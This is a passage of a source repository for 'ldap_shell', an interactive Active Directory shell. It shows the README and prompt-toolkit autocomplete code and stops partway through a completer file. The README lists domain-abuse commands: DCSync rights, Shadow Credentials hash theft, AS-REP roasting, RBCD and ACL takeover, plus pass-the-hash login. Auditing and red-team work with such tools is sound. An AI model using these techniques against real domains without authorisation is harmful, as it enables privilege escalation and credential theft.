├── .gitignore
├── .idea
├── .gitignore
├── inspectionProfiles
│ └── profiles_settings.xml
├── ldap_shell.iml
├── misc.xml
├── modules.xml
└── vcs.xml
├── README.md
├── ldap_shell
├── __init__.py
├── __main__.py
├── completers
│ ├── __init__.py
│ ├── action_completer.py
│ ├── ad_object_completer.py
│ ├── add_del_completer.py
│ ├── attributes.py
│ ├── base.py
│ ├── boolean_completer.py
│ ├── command.py
│ ├── directory.py
│ ├── dn_completer.py
│ ├── mask_completer.py
│ └── rbcd_completer.py
├── krb5
│ ├── __init__.py
│ ├── asn1.py
│ ├── ccache.py
│ ├── constants.py
│ ├── crypto.py
│ ├── kerberos_v5.py
│ └── types.py
├── ldap_modules
│ ├── __init__.py
│ ├── add_computer
│ │ └── ldap_module.py
│ ├── add_group
│ │ └── ldap_module.py
│ ├── add_user
│ │ └── ldap_module.py
│ ├── add_user_to_group
│ │ └── ldap_module.py
│ ├── base_module.py
│ ├── change_password
│ │ └── ldap_module.py
│ ├── clear_rbcd
│ │ └── ldap_module.py
│ ├── dacl_modify
│ │ └── ldap_module.py
│ ├── del_computer
│ │ └── ldap_module.py
│ ├── del_dcsync
│ │ └── ldap_module.py
│ ├── del_group
│ │ └── ldap_module.py
│ ├── del_user
│ │ └── ldap_module.py
│ ├── del_user_from_group
│ │ └── ldap_module.py
│ ├── disable_account
│ │ └── ldap_module.py
│ ├── dump
│ │ └── ldap_module.py
│ ├── enable_account
│ │ └── ldap_module.py
│ ├── get_group_users
│ │ └── ldap_module.py
│ ├── get_laps_gmsa
│ │ └── ldap_module.py
│ ├── get_maq
│ │ └── ldap_module.py
│ ├── get_ntlm
│ │ └── ldap_module.py
│ ├── get_user_groups
│ │ └── ldap_module.py
│ ├── help
│ │ └── ldap_module.py
│ ├── search
│ │ └── ldap_module.py
│ ├── set_dcsync
│ │ └── ldap_module.py
│ ├── set_dontreqpreauth
│ │ └── ldap_module.py
│ ├── set_genericall
│ │ └── ldap_module.py
│ ├── set_owner
│ │ └── ldap_module.py
│ ├── set_rbcd
│ │ └── ldap_module.py
│ ├── set_spn
│ │ └── ldap_module.py
│ ├── start_tls
│ │ └── ldap_module.py
│ ├── switch_user
│ │ └── ldap_module.py
│ └── template
│ │ └── ldap_module.py
├── prompt.py
└── utils
│ ├── __init__.py
│ ├── ace_utils.py
│ ├── ldap_utils.py
│ ├── ldaptypes.py
│ ├── module_loader.py
│ ├── myPKINIT.py
│ ├── nt_errors.py
│ ├── security_utils.py
│ ├── spnego.py
│ └── structure.py
├── requirements.txt
└── setup.py
/.gitignore:
--------------------------------------------------------------------------------
1 | /.tgitconfig
2 | .idea/*
3 | .idea/**/workspace.xml
4 | .idea/**/tasks.xml
5 | .idea/dictionaries
6 | .idea/**/dataSources/
7 | .idea/**/dataSources.ids
8 | .idea/**/dataSources.xml
9 | .idea/**/dataSources.local.xml
10 | .idea/**/sqlDataSources.xml
11 | .idea/**/dynamic.xml
12 | .idea/**/uiDesigner.xml
13 | .idea/**/gradle.xml
14 | .idea/**/libraries
15 | $*$
16 | cmake-build-debug/
17 | cmake-build-release/
18 | .idea/**/mongoSettings.xml
19 | *.iws
20 | out/
21 | .idea_modules/
22 | atlassian-ide-plugin.xml
23 | .idea/replstate.xml
24 | com_crashlytics_export_strings.xml
25 | crashlytics.properties
26 | crashlytics-build.properties
27 | fabric.properties
28 | .DS_Store
29 | .AppleDouble
30 | .LSOverride
31 | Icon
32 | ._*
33 | .DocumentRevisions-V100
34 | .fseventsd
35 | .Spotlight-V100
36 | .TemporaryItems
37 | .Trashes
38 | .VolumeIcon.icns
39 | .com.apple.timemachine.donotpresent
40 | .AppleDB
41 | .AppleDesktop
42 | Network Trash Folder
43 | Temporary Items
44 | .apdisk
45 | __pycache__/
46 | *.py[cod]
47 | *$py.class
48 | *.so
49 | .Python
50 | build/
51 | develop-eggs/
52 | dist/
53 | downloads/
54 | eggs/
55 | .eggs/
56 | lib/
57 | lib64/
58 | parts/
59 | sdist/
60 | var/
61 | wheels/
62 | *.egg-info/
63 | .installed.cfg
64 | *.egg
65 | MANIFEST
66 | *.manifest
67 | *.spec
68 | pip-log.txt
69 | pip-delete-this-directory.txt
70 | htmlcov/
71 | .tox/
72 | .coverage
73 | .coverage.*
74 | .cache
75 | nosetests.xml
76 | coverage.xml
77 | *.cover
78 | .hypothesis/
79 | *.mo
80 | *.pot
81 | *.log
82 | .static_storage/
83 | .media/
84 | local_settings.py
85 | instance/
86 | .webassets-cache
87 | .scrapy
88 | docs/_build/
89 | target/
90 | .ipynb_checkpoints
91 | .python-version
92 | celerybeat-schedule
93 | *.sage.py
94 | .env
95 | .venv
96 | env/
97 | venv/
98 | ENV/
99 | env.bak/
100 | venv.bak/
101 | .spyderproject
102 | .spyproject
103 | .ropeproject
104 | /site
105 | .mypy_cache/
106 | Thumbs.db
107 | ehthumbs.db
108 | ehthumbs_vista.db
109 | *.stackdump
110 | [Dd]esktop.ini
111 | $RECYCLE.BIN/
112 | *.cab
113 | *.msi
114 | *.msm
115 | *.msp
116 | *.lnk
117 | *~
118 | .fuse_hidden*
119 | .directory
120 | .Trash-*
121 | .nfs*
122 | [Bb]in
123 | [Ii]nclude
124 | [Ll]ib
125 | [Ll]ib64
126 | [Ll]ocal
127 | [Ss]cripts
128 | pyvenv.cfg
129 | pip-selfcheck.json
130 | logs/*
131 | !.gitkeep
132 | .vscode/launch.json
133 | .vscode
134 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/ldap_shell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LDAP shell
2 | This project is a fork of ldap_shell from Impacket. It provides an interactive shell for Active Directory enumeration and manipulation via LDAP/LDAPS protocols, making it useful for both system administrators and security professionals.
3 |
4 |
5 | ## Installation
6 | These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go.
7 | Installation with pip:
8 | ```bash
9 | git clone https://github.com/PShlyundin/ldap_shell.git
10 | cd ldap_shell
11 | python3 -m pip install .
12 | ```
13 |
14 | Installation with uv:
15 | ```bash
16 | uv venv
17 | uv pip install .
18 | ```
19 |
20 | ## Usage
21 | ### Connection options
22 | ```bash
23 | # Basic authentication with password
24 | ldap_shell domain.local/user:password
25 |
26 | # Specify domain controller IP address
27 | ldap_shell domain.local/user:password -dc-ip 192.168.1.2
28 |
29 | # Authentication using NTLM hashes
30 | ldap_shell domain.local/user -hashes aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404e1
31 |
32 | # Kerberos authentication using TGT
33 | export KRB5CCNAME=/home/user/ticket.ccache
34 | ldap_shell -k -no-pass domain.local/user
35 | ```
36 | ### Functionality
37 | ```
38 | Get Info
39 | dump [output_dir] - Dumps the domain
40 | get_group_users group - Get all users in a group
41 | get_laps_gmsa [target] - Retrieves LAPS and GMSA passwords associated with a given account (sAMAccountName) or for all. Supported LAPS 2.0
42 | get_maq [user] - Get Machine Account Quota and allowed users
43 | get_user_groups user - Retrieves all groups recursively this user is a member of
44 | search ldap_filter [attributes] - Search AD objects
45 |
46 | Abuse ACL
47 | add_user_to_group user group - Add a user to a group
48 | change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
49 | clear_rbcd target [grantee] - Clear RBCD permissions for a target computer
50 | dacl_modify target grantee action mask - Modify DACL entries for target object
51 | del_dcsync target - Remove DCSync rights from user/computer by deleting ACEs in domain DACL
52 | del_user_from_group user group - Delete a user from a group
53 | get_ntlm target - Get NTLM hash using Shadow Credentials attack (requires write access to msDS-KeyCredentialLink)
54 | set_dcsync target - If you have write access to the domain object, assign the DS-Replication right to the selected user
55 | set_dontreqpreauth target flag - Targeted AsRepRoast attack. Set or unset DONT_REQUIRE_PREAUTH flag for a target user.
56 | set_genericall target [grantee] - Set GenericAll permissions for a target object
57 | set_owner target [grantee] - Set new owner for target object
58 | set_rbcd target grantee - Configure RBCD permissions for a target computer
59 | set_spn target action [spn] - List, add or delete SPN for a target object
60 |
61 | Misc
62 | add_computer computer_name [password] [target_dn] - Add a new computer account to the domain
63 | add_group group_name [target_dn] - Add new group to Active Directory
64 | add_user username [password] [target_dn] - Add a new user account to the domain
65 | del_computer computer_name - Delete a computer account from the domain
66 | del_group group_name - Delete group from Active Directory
67 | del_user username - Delete a user account from the domain
68 | disable_account username - Disable a user account in the domain
69 | enable_account username - Enable a user account in the domain
70 | start_tls - Start TLS connection with LDAP server
71 | switch_user username [password] - Switch current user to another
72 |
73 | Other
74 | help [command] - Show help
75 | exit - exit from shell
76 | ```
77 |
78 | ## License
79 | Apache License 2.0
80 |
81 | ## Authors
82 | * [Riocool](https://t.me/riocool)
83 | * My [Telegram channel](https://t.me/RedTeambro)
84 |
85 | ## Credits
86 | * [Impacket](https://github.com/SecureAuthCorp/impacket)
87 | * [saber-nyan](https://saber-nyan.com)
88 |
--------------------------------------------------------------------------------
/ldap_shell/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PShlyundin/ldap_shell/ee4df4a582830de900045ae3fdfdd8fea18adf92/ldap_shell/__init__.py
--------------------------------------------------------------------------------
/ldap_shell/completers/__init__.py:
--------------------------------------------------------------------------------
1 | from typing import Union, List
2 | from .base import BaseArgumentCompleter
3 | from .ad_object_completer import ADObjectCompleter, UserCompleter, ComputerCompleter, GroupCompleter, OUCompleter
4 | from ..ldap_modules.base_module import ArgumentType
5 | from .directory import DirectoryCompleter
6 | from .attributes import AttributesCompleter
7 | from .command import CommandCompleter
8 | from collections import defaultdict
9 | from .rbcd_completer import RBCDCompleter
10 | from .dn_completer import DNCompleter
11 | from .add_del_completer import AddDelCompleter
12 | from .mask_completer import MaskCompleter
13 | from .boolean_completer import BooleanCompleter
14 | from .action_completer import ActionCompleter
15 |
16 | COMPLETERS = {
17 | ArgumentType.DIRECTORY: DirectoryCompleter,
18 | ArgumentType.USER: UserCompleter,
19 | ArgumentType.COMPUTER: ComputerCompleter,
20 | ArgumentType.GROUP: GroupCompleter,
21 | ArgumentType.OU: OUCompleter,
22 | ArgumentType.ATTRIBUTES: AttributesCompleter,
23 | ArgumentType.COMMAND: CommandCompleter,
24 | ArgumentType.RBCD: RBCDCompleter,
25 | ArgumentType.DN: DNCompleter,
26 | ArgumentType.ADD_DEL: AddDelCompleter,
27 | ArgumentType.MASK: MaskCompleter,
28 | ArgumentType.BOOLEAN: BooleanCompleter,
29 | ArgumentType.ACTION: ActionCompleter
30 | }
31 |
32 | class CompleterFactory:
33 | @staticmethod
34 | def create_completer(
35 | arg_type: Union[List[str], str],
36 | client=None,
37 | domain_dumper=None
38 | ) -> BaseArgumentCompleter:
39 | """
40 | Creates a completer or multiple completers based on argument type(s)
41 | Returns a MultiCompleter if multiple types are provided
42 | """
43 | # Convert single type to list for uniform processing
44 | arg_types = [arg_type] if not isinstance(arg_type, list) else arg_type
45 |
46 | completers = []
47 | for arg_type in arg_types:
48 | completer_class = COMPLETERS.get(arg_type)
49 | if completer_class:
50 | if issubclass(completer_class, ADObjectCompleter) or issubclass(completer_class, RBCDCompleter) or issubclass(completer_class, DNCompleter):
51 | completers.append(completer_class(client, domain_dumper))
52 | else:
53 | completers.append(completer_class())
54 | if not completers:
55 | return None
56 |
57 | return MultiCompleter(completers)
58 |
59 |
60 | class MultiCompleter(BaseArgumentCompleter):
61 | """Completer that combines results from multiple completers"""
62 |
63 | def __init__(self, completers: List[BaseArgumentCompleter]):
64 | self.completers = completers
65 | self.max_total_suggestions = 20
66 |
67 | def get_completions(self, document, complete_event, current_word: str):
68 | # Get all possible completions from each completer
69 | all_completions = defaultdict(list)
70 | for completer in self.completers:
71 | completions = list(completer.get_completions(document, complete_event, current_word))
72 | if completions: # Add only if there are results
73 | all_completions[completer] = completions
74 | if not all_completions:
75 | return None
76 |
77 | # Calculate how many suggestions to take from each completer
78 | num_completers = len(all_completions)
79 | base_per_completer = max(1, self.max_total_suggestions // num_completers)
80 | remaining = self.max_total_suggestions - (base_per_completer * num_completers)
81 | # Distribute suggestions
82 | for completer, completions in all_completions.items():
83 | # If this is the last completer, give it the remaining slots
84 | if remaining > 0 and completer == list(all_completions.keys())[-1]:
85 | num_suggestions = base_per_completer + remaining
86 | else:
87 | num_suggestions = base_per_completer
88 |
89 | # Yield suggestions for current completer
90 | for completion in completions[:num_suggestions]:
91 | yield completion
--------------------------------------------------------------------------------
/ldap_shell/completers/action_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 |
5 | class ActionCompleter(BaseArgumentCompleter):
6 | """Completer for add/del actions"""
7 |
8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
9 | completions = []
10 |
11 | options = ['add', 'del', 'list']
12 |
13 | for option in options:
14 | if option.startswith(current_word.lower()):
15 | completions.append(Completion(
16 | option,
17 | start_position=-len(current_word),
18 | display=option,
19 | display_meta="Action"
20 | ))
21 |
22 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/ad_object_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import WordCompleter, Completion
2 | from prompt_toolkit.document import Document
3 | from prompt_toolkit.formatted_text import HTML
4 | from .base import BaseArgumentCompleter
5 | from typing import Union, Dict, Optional
6 | from abc import abstractmethod
7 | from ldap3 import SUBTREE
8 | import threading
9 | from ldap_shell.utils import history
10 | from ldap_shell.completers.base import ADObjectCacheManager
11 |
12 | class ADObjectCompleter(BaseArgumentCompleter):
13 | """Completer for AD objects (users, computers, groups, OUs)"""
14 | highlight_color = None # Base color, overridden in child classes
15 | attributes = ['sAMAccountName', 'name'] # Base set of attributes
16 |
17 | def __init__(self, ldap_connection, domain_dumper):
18 | self.ldap = ldap_connection
19 | self.domain_dumper = domain_dumper
20 | self.cache_manager = ADObjectCacheManager()
21 |
22 | def get_completions(self, document: Document, complete_event, current_word=None):
23 | if not isinstance(document, Document):
24 | return
25 |
26 | text = document.text_before_cursor
27 | in_quotes = (text.count('"') % 2) == 1 or (text.count("'") % 2) == 1
28 |
29 | # Get cache from manager
30 | cached_objects = self.cache_manager.get_cache(self.__class__.__name__)
31 | if cached_objects is None:
32 | cached_objects = self._get_ad_objects()
33 | self.cache_manager.set_cache(self.__class__.__name__, cached_objects)
34 |
35 | if text.endswith(' '):
36 | word_before_cursor = ''
37 | else:
38 | word_before_cursor = text.split()[-1] if text.split() else ''
39 |
40 | for obj in cached_objects:
41 | if ' ' in obj and not in_quotes:
42 | obj = f'"{obj}"'
43 | if word_before_cursor.lower() in obj.lower():
44 | display = self._highlight_match(obj, word_before_cursor)
45 | if self.highlight_color:
46 | display = f""
47 | yield Completion(
48 | obj,
49 | start_position=-len(word_before_cursor),
50 | display=HTML(display)
51 | )
52 |
53 | def _highlight_match(self, text: str, substr: str) -> str:
54 | """Highlights the matching part of the text"""
55 | if not substr:
56 | return text
57 |
58 | index = text.lower().find(substr.lower())
59 | if index >= 0:
60 | before = text[:index]
61 | match = text[index:index + len(substr)]
62 | after = text[index + len(substr):]
63 | return f"{before}{after}"
64 | return text
65 |
66 | def _get_ad_objects(self):
67 | objects = set()
68 | ldap_filter = self.get_ldap_filter()
69 |
70 | try:
71 | # Use built-in method for pagination
72 | search_generator = self.ldap.extend.standard.paged_search(
73 | search_base=self.domain_dumper.root,
74 | search_filter=ldap_filter,
75 | search_scope=SUBTREE,
76 | attributes=self.attributes,
77 | paged_size=500,
78 | generator=True
79 | )
80 |
81 | for entry in search_generator:
82 | if entry['type'] != 'searchResEntry':
83 | continue
84 |
85 | # Priority attributes for each object type
86 | if self.primary_attribute in entry['attributes']:
87 | objects.add(str(entry['attributes'][self.primary_attribute]))
88 | elif self.fallback_attribute in entry['attributes']:
89 | objects.add(str(entry['attributes'][self.fallback_attribute]))
90 |
91 | except Exception as e:
92 | print(f"Error fetching AD objects: {str(e)}")
93 |
94 | return objects
95 |
96 | @abstractmethod
97 | def get_ldap_filter(self):
98 | """Each inheritor must define its own LDAP filter"""
99 | pass
100 |
101 | class UserCompleter(ADObjectCompleter):
102 | highlight_color = "ansibrightgreen" # Bright green background for users
103 | primary_attribute = 'sAMAccountName'
104 | fallback_attribute = 'name'
105 |
106 | def get_ldap_filter(self):
107 | return "(&(objectCategory=person)(objectClass=user))"
108 |
109 | class ComputerCompleter(ADObjectCompleter):
110 | highlight_color = "ansibrightred" # Bright red background for computers
111 | primary_attribute = 'sAMAccountName'
112 | fallback_attribute = 'name'
113 |
114 | def get_ldap_filter(self):
115 | return "(objectClass=computer)"
116 |
117 | class GroupCompleter(ADObjectCompleter):
118 | highlight_color = "ansibrightyellow" # Bright yellow background for groups
119 | primary_attribute = 'sAMAccountName'
120 | fallback_attribute = 'name'
121 |
122 | def get_ldap_filter(self):
123 | return "(objectClass=group)"
124 |
125 | class OUCompleter(ADObjectCompleter):
126 | highlight_color = "ansibrightmagenta" # Bright magenta background for OUs
127 | primary_attribute = 'name'
128 | fallback_attribute = 'distinguishedName'
129 | attributes = ['name', 'distinguishedName'] # Override attributes for OUs
130 |
131 | def get_ldap_filter(self):
132 | return "(objectClass=organizationalUnit)"
--------------------------------------------------------------------------------
/ldap_shell/completers/add_del_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 |
5 | class AddDelCompleter(BaseArgumentCompleter):
6 | """Completer for add/del actions"""
7 |
8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
9 | completions = []
10 |
11 | options = ['add', 'del']
12 |
13 | for option in options:
14 | if option.startswith(current_word.lower()):
15 | completions.append(Completion(
16 | option,
17 | start_position=-len(current_word),
18 | display=option,
19 | display_meta="Action"
20 | ))
21 |
22 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/attributes.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import FuzzyWordCompleter, Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 |
5 | class AttributesCompleter(BaseArgumentCompleter):
6 | """Completer for LDAP attributes"""
7 |
8 | COMMON_LDAP_ATTRIBUTES = [
9 | 'objectSid', 'objectGUID', 'objectClass', 'cn', 'sn', 'givenName', 'displayName',
10 | 'name', 'sAMAccountName', 'sAMAccountType', 'userPrincipalName', 'userAccountControl',
11 | 'accountExpires', 'adminCount', 'badPasswordTime', 'badPwdCount', 'codePage',
12 | 'countryCode', 'description', 'distinguishedName', 'groupType', 'homeDirectory',
13 | 'homeDrive', 'lastLogoff', 'lastLogon', 'lastLogonTimestamp', 'logonCount',
14 | 'mail', 'memberOf', 'primaryGroupID', 'profilePath', 'pwdLastSet',
15 | 'scriptPath', 'servicePrincipalName', 'trustDirection', 'trustType',
16 | 'whenChanged', 'whenCreated', 'objectCategory', 'dSCorePropagationData',
17 | 'instanceType', 'uSNChanged', 'uSNCreated'
18 | ]
19 |
20 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
21 | # Split current input by comma
22 | if ',' in current_word:
23 | prefix = ','.join(current_word.split(',')[:-1]) + ','
24 | current_word = current_word.split(',')[-1].strip()
25 | else:
26 | prefix = ''
27 |
28 | # Create dictionary with attribute descriptions
29 | meta_dict = {attr: "LDAP attribute" for attr in self.COMMON_LDAP_ATTRIBUTES}
30 |
31 | # Use FuzzyWordCompleter for attributes
32 | completer = FuzzyWordCompleter(
33 | words=self.COMMON_LDAP_ATTRIBUTES,
34 | meta_dict=meta_dict
35 | )
36 |
37 | completions = []
38 | for completion in completer.get_completions(Document(current_word.lower()), complete_event):
39 | new_text = prefix + completion.text
40 | completions.append(Completion(
41 | new_text,
42 | start_position=-len(current_word) - len(prefix),
43 | display=completion.display,
44 | display_meta=completion.display_meta
45 | ))
46 |
47 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/base.py:
--------------------------------------------------------------------------------
1 | from abc import ABC, abstractmethod
2 | from prompt_toolkit.completion import Completion
3 | from prompt_toolkit.document import Document
4 | from typing import Dict, Optional
5 | import threading
6 | from ldap_shell.utils import history
7 |
8 | class BaseArgumentCompleter(ABC):
9 | """Base class for argument completers"""
10 |
11 | @abstractmethod
12 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
13 | """Return list of completions for current word"""
14 | pass
15 |
16 | class ADObjectCacheManager:
17 | """Singleton cache manager for AD objects"""
18 | _instance = None
19 | _lock = threading.Lock()
20 | _caches: Dict[str, Dict] = {}
21 | _last_history_position = 0
22 |
23 | def __new__(cls):
24 | if cls._instance is None:
25 | with cls._lock:
26 | if cls._instance is None:
27 | cls._instance = super().__new__(cls)
28 | return cls._instance
29 |
30 | def _should_refresh_cache(self) -> bool:
31 | """Checks if cache needs to be refreshed based on new commands in history"""
32 | try:
33 | # Get all commands from history
34 | history_commands = list(history.get_strings())
35 | current_position = len(history_commands)
36 |
37 | # If position changed, check new commands
38 | if current_position > self._last_history_position:
39 | # Check only new commands
40 | new_commands = history_commands[self._last_history_position:]
41 | self._last_history_position = current_position
42 |
43 | # Check if there are add_ or del_ among new commands
44 | return any(
45 | any(cmd in command for cmd in ['add_', 'del_'])
46 | for command in new_commands
47 | )
48 |
49 | return False
50 | except Exception:
51 | return False
52 |
53 | def get_cache(self, completer_type: str) -> Optional[set]:
54 | """Get cache for specific completer type"""
55 | cache_data = self._caches.get(completer_type)
56 | if cache_data is None:
57 | return None
58 |
59 | # Check if cache needs to be refreshed
60 | if self._should_refresh_cache():
61 | return None
62 |
63 | return cache_data['objects']
64 |
65 | def set_cache(self, completer_type: str, objects: set):
66 | """Set cache for specific completer type"""
67 | self._caches[completer_type] = {
68 | 'objects': objects
69 | }
70 |
71 | def clear_cache(self, completer_type: Optional[str] = None):
72 | """Clear cache for specific completer type or all caches"""
73 | if completer_type:
74 | self._caches.pop(completer_type, None)
75 | else:
76 | self._caches.clear()
--------------------------------------------------------------------------------
/ldap_shell/completers/boolean_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 |
5 | class BooleanCompleter(BaseArgumentCompleter):
6 | """Completer for boolean actions"""
7 |
8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
9 | completions = []
10 |
11 | options = ['true', 'false']
12 |
13 | for option in options:
14 | if option.startswith(current_word.lower()):
15 | completions.append(Completion(
16 | option,
17 | start_position=-len(current_word),
18 | display=option,
19 | display_meta="Action"
20 | ))
21 |
22 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/command.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 | from ldap_shell.utils.module_loader import ModuleLoader
5 | from difflib import SequenceMatcher
6 |
7 | class CommandCompleter(BaseArgumentCompleter):
8 | """Completer for LDAP commands with fuzzy matching"""
9 |
10 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
11 | list_modules = ModuleLoader.list_modules()
12 | completions = []
13 |
14 | # Convert current word to lowercase for comparison
15 | current_word_lower = current_word.lower()
16 |
17 | # Create list of tuples (module, similarity ratio)
18 | matches = []
19 | for module in list_modules:
20 | # Check inclusion case-insensitive
21 | module_lower = module.lower()
22 |
23 | # Calculate similarity ratio
24 | ratio = SequenceMatcher(None, current_word_lower, module_lower).ratio()
25 |
26 | # If current word is substring of module or vice versa,
27 | # or similarity ratio is greater than 0.5
28 | if (current_word_lower in module_lower or
29 | module_lower in current_word_lower or
30 | ratio > 0.5):
31 | matches.append((module, ratio))
32 |
33 | # Sort by similarity ratio
34 | matches.sort(key=lambda x: x[1], reverse=True)
35 |
36 | # Create completion for each match
37 | for module, ratio in matches:
38 | completions.append(
39 | Completion(
40 | module,
41 | start_position=-len(current_word),
42 | display_meta=f'{ModuleLoader.load_module(module).__doc__}'
43 | )
44 | )
45 |
46 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/directory.py:
--------------------------------------------------------------------------------
1 | from pathlib import Path
2 | from prompt_toolkit.completion import Completion
3 | from prompt_toolkit.document import Document
4 | from .base import BaseArgumentCompleter
5 | import os
6 |
7 | class DirectoryCompleter(BaseArgumentCompleter):
8 | """Completer for directory paths"""
9 |
10 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
11 | completions = []
12 |
13 | try:
14 | # Get path for autocompletion
15 | if not current_word or current_word == '/':
16 | directory = Path.cwd()
17 | current_word = ''
18 | elif os.path.isabs(current_word):
19 | directory = Path(current_word).parent if not current_word.endswith('/') else Path(current_word)
20 | else:
21 | directory = (Path.cwd() / current_word).parent if not current_word.endswith('/') else Path.cwd() / current_word
22 |
23 | for item in directory.iterdir():
24 | if item.is_dir():
25 | display_name = item.name + '/'
26 | completion = str(item.relative_to(Path.cwd())) + '/' if not os.path.isabs(current_word) else str(item.absolute()) + '/'
27 |
28 | if completion.startswith(current_word):
29 | completions.append(Completion(
30 | completion,
31 | start_position=-len(current_word),
32 | display=display_name,
33 | display_meta="Directory"
34 | ))
35 |
36 | except (PermissionError, FileNotFoundError):
37 | pass
38 |
39 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/dn_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import WordCompleter, Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 | from prompt_toolkit.formatted_text import HTML
5 | from ldap3 import SUBTREE
6 | from ldap_shell.completers.base import ADObjectCacheManager
7 |
8 | class DNCompleter(BaseArgumentCompleter):
9 | """Completer for DN"""
10 | def __init__(self, ldap_connection, domain_dumper):
11 | self.ldap = ldap_connection
12 | self.domain_dumper = domain_dumper
13 | self.cache_manager = ADObjectCacheManager()
14 |
15 | def get_completions(self, document: Document, complete_event, current_word=None):
16 | if not isinstance(document, Document):
17 | return
18 |
19 | text = document.text_before_cursor.replace('"', '')
20 |
21 | # Get cache from manager
22 | cached_objects = self.cache_manager.get_cache(self.__class__.__name__)
23 | if cached_objects is None:
24 | cached_objects = self._get_ad_objects()
25 | self.cache_manager.set_cache(self.__class__.__name__, cached_objects)
26 |
27 | if text.endswith(' '):
28 | word_before_cursor = ''
29 | else:
30 | word_before_cursor = text.split()[-1] if text.split() else ''
31 |
32 | for obj in cached_objects:
33 | # Check both identifier and DN
34 | if (word_before_cursor.lower() in obj['identifier'].lower() or
35 | word_before_cursor.lower() in obj['dn'].lower()):
36 |
37 | display = self._highlight_match(obj['identifier'], word_before_cursor)
38 | if obj['color']:
39 | display = f""
40 | yield Completion(
41 | text = f"\"{obj['dn']}\"",
42 | start_position=-len(word_before_cursor),
43 | display=HTML(display)
44 | )
45 |
46 | def _highlight_match(self, text: str, substr: str) -> str:
47 | """Highlights the matching part of the text"""
48 | if not substr:
49 | return text
50 |
51 | index = text.lower().find(substr.lower())
52 | if index >= 0:
53 | before = text[:index]
54 | match = text[index:index + len(substr)]
55 | after = text[index + len(substr):]
56 | return f"{before}{after}"
57 | return text
58 |
59 | def _get_ad_objects(self):
60 | objects = []
61 | COLOR_MAPPING = {
62 | 'user': 'ansibrightgreen',
63 | 'computer': 'ansibrightred',
64 | 'group': 'ansibrightyellow',
65 | 'ou': '#FF00FF',
66 | 'domain_root': 'ansiblue',
67 | 'gpo': 'ansibrightblue'
68 | }
69 |
70 | # Use built-in method for pagination
71 | search_generator = self.ldap.extend.standard.paged_search(
72 | search_base=self.domain_dumper.root,
73 | search_filter='(objectClass=*)',
74 | search_scope=SUBTREE,
75 | attributes=['distinguishedName', 'objectClass', 'sAMAccountName', 'ou', 'displayName', 'cn'],
76 | paged_size=500,
77 | generator=True
78 | )
79 |
80 | for entry in search_generator:
81 | if entry['type'] != 'searchResEntry':
82 | continue
83 |
84 | dn = entry['dn']
85 | obj_classes = entry['attributes'].get('objectClass', [])
86 |
87 | # Determine type
88 | if 'user' in obj_classes:
89 | obj_type = 'User'
90 | identifier = entry['attributes'].get('sAMAccountName', [''])
91 | highlight_color = COLOR_MAPPING['user']
92 | elif 'computer' in obj_classes:
93 | obj_type = 'Computer'
94 | identifier = entry['attributes'].get('sAMAccountName', [''])
95 | highlight_color = COLOR_MAPPING['computer']
96 | elif 'group' in obj_classes:
97 | obj_type = 'Group'
98 | identifier = entry['attributes'].get('sAMAccountName', [''])
99 | highlight_color = COLOR_MAPPING['group']
100 | elif 'organizationalUnit' in obj_classes:
101 | obj_type = 'OU'
102 | identifier = dn.split(',')[0].split('=')[1]
103 | highlight_color = COLOR_MAPPING['ou']
104 | elif 'domainDNS' in obj_classes and dn.count(',') == 1:
105 | obj_type = 'Domain Root'
106 | identifier = dn.split('=')[1].split(',')[0]
107 | highlight_color = COLOR_MAPPING['domain_root']
108 | elif 'groupPolicyContainer' in obj_classes:
109 | obj_type = 'GPO'
110 | # Get displayName or cn, considering possible missing attributes
